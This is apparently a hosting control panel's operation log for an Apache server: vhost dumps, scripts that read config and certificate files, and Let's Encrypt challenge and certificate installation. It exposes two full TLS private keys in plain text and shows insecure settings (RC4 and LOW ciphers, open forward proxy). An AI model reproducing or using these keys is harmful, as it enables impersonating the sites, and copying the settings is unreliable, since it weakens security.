[Thu Oct 09 11:46:57.073913 2025] [so:warn] [pid 224938:tid 140067206383936] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Thu Oct 09 11:46:57.073913 2025] [so:warn] [pid 224938:tid 140067206383936] AH01574: module status_module is already loaded, skipping


2025-10-09 11:46:57: 

PUT: /tmp/pkp128149

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:46:57: 

chmod 755 /tmp/pkp128149; /tmp/pkp128149; rm /tmp/pkp128149

2025-10-09 11:46:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf	2270

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-09 11:46:57: 

PUT: /tmp/pkp170893

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:46:58: 

chmod 755 /tmp/pkp170893; /tmp/pkp170893; rm /tmp/pkp170893

2025-10-09 11:46:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt	5341
95:91:e0:bb:bb:07:73:90:7e:9c:1a:0a:8e:70:d7:d2

-----BEGIN CERTIFICATE-----
MIIE9DCCA9ygAwIBAgISBlkEnOoGGKco9HSOzNrmFaROMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTA0ODE2WhcNMjYwMTA3MTA0ODE1WjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT
whxBb/gQtsijSH8PtGt1CdwBYzDMse7x3yLq+p4ZvgZGnddeoHWd6/RLKm42RlnU
bBf584L65o6A89/O2yF2WB40BY/TBRe6/j8twed7+hhymAX22zcWnVD9X+G5/Ypo
POoQaHYV1fUMIzVpFO68f4kPE1q/zdwZtUFWCZkF2DEk7IUBjb5vWdGRPmOTaYIh
UMRufCNBfrcvDAMzbGNwuryR8WTK/Nxhq56hYLu9erXdrfDWlIR75Tbu6DTtqCUP
6thrsxFq7UdwH1yWvFlP58mMC1w70Vt12/JRcKHAUncGE2x7ro9phOgmG0ocMaCJ
AgPR6Qm3ouog70/gWHBrAgMBAAGjggIcMIICGDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFKUbybvBJm3oVpaNDWWbMStMRF5XMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMem9vbWNoYXQubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNzkuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGZyMuLPgAABAMARzBFAiBZzmYJoPJf
9v31XsJ5gMse0ptV0YnsvXUUewkyRxU0DAIhAOqZcAMf6VzJg8PavrUvBgXyKzd3
CqrBLGcNYfdwO0p/AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGZyMuLxwAABAMARzBFAiAtmCkDmCfoX8QTe8YgHnfYYP5yBLuPR7zKMItP556k
ewIhAOouKo/ge2UNdSxABEElyGQKYQFklv801TLkLmS5AAccMA0GCSqGSIb3DQEB
CwUAA4IBAQAJH8i49lhYI2Jl8A8MwZw0YbpRpO51BOcLaKLuduCoYV7ludF8x3yM
kNlKmWDm+qBNaiF2FUwZn2NNX2l6KMk1RGlJmD7yI/D8DT1OyGMuSETddw5qshk0
afDYqbkw4mTGT9Si8uXV4EOpPB4ptZ9P8zBTuHSs/4FbrJipFP4cTPQDvgqpURK5
vh2fe/o++XKx8D8jVNoR3BQStkXiPAqqZ+GCJgM+SUoH2GEYwLNnRi6ZBOJVr9P/
NDqAFF9lXbVrq3MMgHXlmoYhXVsNhG+MqGk5mzbRfv9CCWHgZPFEYxO14M4u4AoY
8Oo8NVxOUx62MIlnlQuRIJtKt0/dTHt4
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDTwhxBb/gQtsij
SH8PtGt1CdwBYzDMse7x3yLq+p4ZvgZGnddeoHWd6/RLKm42RlnUbBf584L65o6A
89/O2yF2WB40BY/TBRe6/j8twed7+hhymAX22zcWnVD9X+G5/YpoPOoQaHYV1fUM
IzVpFO68f4kPE1q/zdwZtUFWCZkF2DEk7IUBjb5vWdGRPmOTaYIhUMRufCNBfrcv
DAMzbGNwuryR8WTK/Nxhq56hYLu9erXdrfDWlIR75Tbu6DTtqCUP6thrsxFq7Udw
H1yWvFlP58mMC1w70Vt12/JRcKHAUncGE2x7ro9phOgmG0ocMaCJAgPR6Qm3ouog
70/gWHBrAgMBAAECggEBANMR7HAdVznxt1Np85yHzYQ/a5fGcuHVicJ1E6z8WZJ3
InJI6l9buWDLzBkQFgLrZKajh9KQssG8BdbrPu5E5bm8Y36e/JjtvpWYzwig+kdN
JgkzFt7T6rkT3aJwa+Kjoc38yaHJPcrOFQ8gGSDAyKYCyW7Jb+83FmhZjuJfdrOm
1bpgKLyv8Qcf7Obmzi6oH2+cCdVXRvr/Qv0QBL4cP+mRNKyLkRMqK9XcyZfZ+k2c
TQv7M+eydl5re6dbD5ALDhIU/wzXHqFyko83iE6mDseDcsSy5xI0z/29aXt2npEh
vHBZfF0sfHvNR91IU5GxkvKZ+KmJWoxlAPwQMJwTzYECgYEA9LfbGbAVxS/ei751
ltT40LcVYr0Nosrbf033XziZS6zHfzy7iE9P+oYx9o4IKK/vGsKBDo/Dd2CWG9Mo
UxIHr6IMuBK5CkGwUwJs4Oix7GSnq0t8uxXiOC2ioLE0e2XknPkzjr3Toj6lrWKQ
8dNnRWaz97xw9f8hkaofBEfqSFECgYEA3YVDkbxv4NQxeK4SsNnhHGscosn1tBsh
MjgRq7caBHopA5+rSBoQzZqrXckvlvUw1UcQ+0igLpIjqQ52KeQs66KevrpMc/LC
oyCUh1mGEeJKeIsuwfwEis9n3PK8XoEto01zazhbhgEm6nZ6Vi0GOBEW3yC7Y2C5
GUFm46IRufsCgYEArqrf9rjJASKGrKW3ln3STl6vI/eeWPiDrJzAmLV0LSBYkEeP
7t31TvIjjUCZMDlK54W2yebw9C77VUbk/E3dMI3wmB2890YljUoo3msYO4soZcoO
cBZRjhl8f0ecFwuGHkh8dUCmYqJmbJfyrrheeJmykHtvARYmJqsPUmXmIdECgYEA
r5M4gwJACoskyuntlo6ahdO/1qcMP7xhC1S1bMyrqnDIoT6km3lNaCj3OlaDibq9
Ac5Z/1EI5OCfsxbrQTjBAeLav4EZp6z56CGil8S1Juec7v4iCU6eqwbI467g7mak
rZJtsMXyhLvVBHDzdeopy7Z/0ko3PAUlsIbN7g4+zpECgYB/s+G9YasxKJraEIRl
v7ZRt8SrJ5xhgUeamYKVA4FsZfiyHBbtNRwJqA+G7/yqsXkvhAViqPNh4CcM6EJF
mHeHouxtJRo5efxKYsbkhTH/TiYOUvdt8ODpXWspB0xUKemdtVIHz5ej+LQmyhB+
HbOZ65+yXpoIjuHeiXQH7tDnpw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-10 06:00:03: Establishing a connection
2025-10-10 06:00:05: Establishing a connection
2025-10-10 06:00:06: 

PUT: /tmp/pkp369016

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-10 06:00:06: 

chmod 755 /tmp/pkp369016; /tmp/pkp369016; rm /tmp/pkp369016

2025-10-10 06:00:07: 


0


2025-10-11 06:00:03: Establishing a connection
2025-10-11 06:00:03: Establishing a connection
2025-10-11 06:00:03: 

PUT: /tmp/pkp424150

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-11 06:00:05: 

chmod 755 /tmp/pkp424150; /tmp/pkp424150; rm /tmp/pkp424150

2025-10-11 06:00:05: 


1


2025-10-11 06:00:06: Establishing a connection
2025-10-11 06:00:06: 

PUT: /tmp/pkp798819

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cat > VY_AWTBoPAWYFS-UOD_dgEm05IOsmvA8DfqdO2WVQCU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VY_AWTBoPAWYFS-UOD_dgEm05IOsmvA8DfqdO2WVQCU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VY_AWTBoPAWYFS-UOD_dgEm05IOsmvA8DfqdO2WVQCU
cat > NNZZKFbei3khGsqSEjTsPXPg1XmZMEIGxuXSNKLUCfg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
NNZZKFbei3khGsqSEjTsPXPg1XmZMEIGxuXSNKLUCfg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 NNZZKFbei3khGsqSEjTsPXPg1XmZMEIGxuXSNKLUCfg


2025-10-11 06:00:06: 

chmod 755 /tmp/pkp798819; /tmp/pkp798819; rm /tmp/pkp798819

2025-10-11 06:00:06: 




2025-10-11 06:00:16: Establishing a connection
2025-10-11 06:00:16: 

PUT: /tmp/pkp511987

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
rm VY_AWTBoPAWYFS-UOD_dgEm05IOsmvA8DfqdO2WVQCU
rm NNZZKFbei3khGsqSEjTsPXPg1XmZMEIGxuXSNKLUCfg


2025-10-11 06:00:16: 

chmod 755 /tmp/pkp511987; /tmp/pkp511987; rm /tmp/pkp511987

2025-10-11 06:00:16: 




2025-10-11 06:00:16: Establishing a connection
2025-10-11 06:00:16: 

PUT: /tmp/pkp761648

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7.crt

cat > $temp_file <<'endmsg'
c4:de:3f:44:3c:4d:a5:6f:e6:f4:e4:13:25:dc:57:ae

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBuKnJPp9Bure2li15NulLSrwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMTQ1WhcNMjYwMTA5MDUwMTQ0WjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2rkFpWVmi81BBBsWOCf/KFqp0c1CnShI2kYkB/J8p7HuOCulWMHJUgDS
sdRYtrw0l9pQVDCEMlUnpToVNSTs0QlDz75YDtbv5niQHMgjaAvCDloZ2kBqKzGN
gKHhYXWYqg+d69VqsonDaMcGxxhC4Kg4zqn9AAsTOFlyaVFEc7fFGTMaD7+xvP48
UUepS0hAy+Eulk+ZDVZtRp44Erb81Xh5WK/I0THPKEIHUtqXriZcr/s/p3iQxWsM
Fl+u8ZEZvH4gAf1Eo8R692oCHjXlKOzXu5yVU2V7dD0tdDEPbWHW8c+ObWYo6PdQ
3pzZG4rbP1depezljX4d+Q50WjdAzQIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQZzYZoovigkJUs4vu5UUFbifBu4zAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2hvcGVpbnN0b3VnaHRv
bi5vcmeCF3d3dy5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEz
LmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AMs49xWJfIShRF9bwd37yW7y
mlnNRwppBYWwyxTDFFjnAAABmdHbBWsAAAQDAEgwRgIhAO7tM+lvVXAM2OL6eAWG
VxxT34ScUSq2V5BPRazVtHmJAiEA4EQndG6bNSAofgv6iofsWg9KRVdKHhoNdxWL
l7xPsaQAdQAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZnR2wVf
AAAEAwBGMEQCIAkOeaPMaABGBw+5W/YgpCGg1waUSHYkj2eUZHEdUwarAiA3iVcG
q8t0RdIgcPqlTa7r42xbWtIlquWzj4rCDLuYnTANBgkqhkiG9w0BAQsFAAOCAQEA
cqxSY40pIGT4I5wK+H9d6rHmCtld0lm71a7/Wz4bREWD9tmmcr2Pfk+CT4T9lN/O
ydKhvZP8Ytbg3LfaWgm7JbJAv96lCI3JozOhMb7TadrouVLriQCDj+nbVkkBpigy
U9PjmB1POp1Sk2a7A+NJwqMO7VEaS5CoT82W3Fh6jOfstWCIVeUCzqpM9MCoJOc1
Sy4x9XDWewYLX3Rn+cXoKBKHWivZ6/ODPo4djvxLXtb8iBxXCK6ZwHibiylbMM1i
zAFnLxrf8HJY1d5NZopW2HR2aedZNPRsiqjCOGXuzzQIkl/kiEVdwaI8Bl3GgFAO
SXf8AsBDKzOEwSgvlrSKWA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDauQWlZWaLzUEE
GxY4J/8oWqnRzUKdKEjaRiQH8nynse44K6VYwclSANKx1Fi2vDSX2lBUMIQyVSel
OhU1JOzRCUPPvlgO1u/meJAcyCNoC8IOWhnaQGorMY2AoeFhdZiqD53r1WqyicNo
xwbHGELgqDjOqf0ACxM4WXJpUURzt8UZMxoPv7G8/jxRR6lLSEDL4S6WT5kNVm1G
njgStvzVeHlYr8jRMc8oQgdS2peuJlyv+z+neJDFawwWX67xkRm8fiAB/USjxHr3
agIeNeUo7Ne7nJVTZXt0PS10MQ9tYdbxz45tZijo91DenNkbits/V16l7OWNfh35
DnRaN0DNAgMBAAECggEAEs8+kQ67VuJ76OJ7crDd3JaPbB9+zw0b1smZZ6WO2s0O
c34tZgikS40OkYR1bKGa1ERODC9v7vQryKXKFRvr0b4+Oqtf30bUsrlDi3YatWPt
eFZ/Sqmnd7d3N8y0GTGHw3g8WH+uAVSfnW8gQhbwCWnuGLe9rjdFm971W+FFRb4r
WTlWlzUBXMzcoracCQnWuePQehkcPQjUdVDXM+MEyMpxn4YvsSrTlk0KajgNgGN0
kMFyaQkIw5Spn89RxoaHQYbn3/dkizHVTdHwthV3k1d6S+sEGUtWalPJRM4C8Nbx
DAOx5paB05PaQqWeZtc1c9D2trYDFWpZ6DE9kNpr8QKBgQDz7OMwmqT5mH54+C/Q
DjV6sAB2I9a8vzGLatd/5dUFzcPO1MT99mXDTgITGlGGIGuKtOOGKqo/tqIvflXk
Kza5YDFDj2zsnDM4ghjijR5x7b4GkxQSGnaND9rwKQxJdlrnIblfXcAKRK/QvFg/
H6lDzJEF9WnKEnZJVhU/2POL+wKBgQDljMIFaa0ih8gxG4jqg9jTYnCCwxHrGzj7
YRO7aaXLnXPgBjJp3K5ljkZ2WAmJFcV/HvnIovxiSlBY2QpD4K8k8hh4kdj/EOhE
G/XM5ajoYkn++LB7wlDf9osjSP7+VzyhjV9/zyF3waL9Bb+OssTfFAFHzqO62RSU
YoM1f/5D1wKBgQDBPlp+lwU79+O6UmUOnzMfD3BOJ/ZncdD+cpZnbN1my6zknwux
ZxMXtyVNnPwZFnYcXVIjaImYEEhM9/lz2ghwtBRTQb05dkXd7rNoSARmncJ90ueD
sBNbjcQVn29sg6dglQcW1l7dw6zF4XDIEX03iUkbP2GgBSBQ2THcczP/IQKBgQC6
WGQBJOKKD5QyWVnylwnjwBv56wWWyEifuRTdpUwUWUOB70Xprl5czvzggWNsR6JG
Kg04FSexWwaSuc6df75uzaGT70Iq/byv3crShPVzgKb1N0l9jic9SNV21YE7U/JC
a5PFG47duvHnWU1COFmdho3rjxJXUnZkZvyA5+CvjQKBgDdhf54VnGbA9KpqtBnr
0LJBQneq6myAaMfW1RxDNXugmlCLBJ5pSBBz+ms5zyZ/amvW16oOeI9xCUuVNueH
4h47P9/eH37OnME741Imh6l2+mjUiQIPUn3dDFcJFIFv33U/Sg14Qp3/aRECtMvS
R+ujwTNVCVGbfkltjn0vIqgh
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


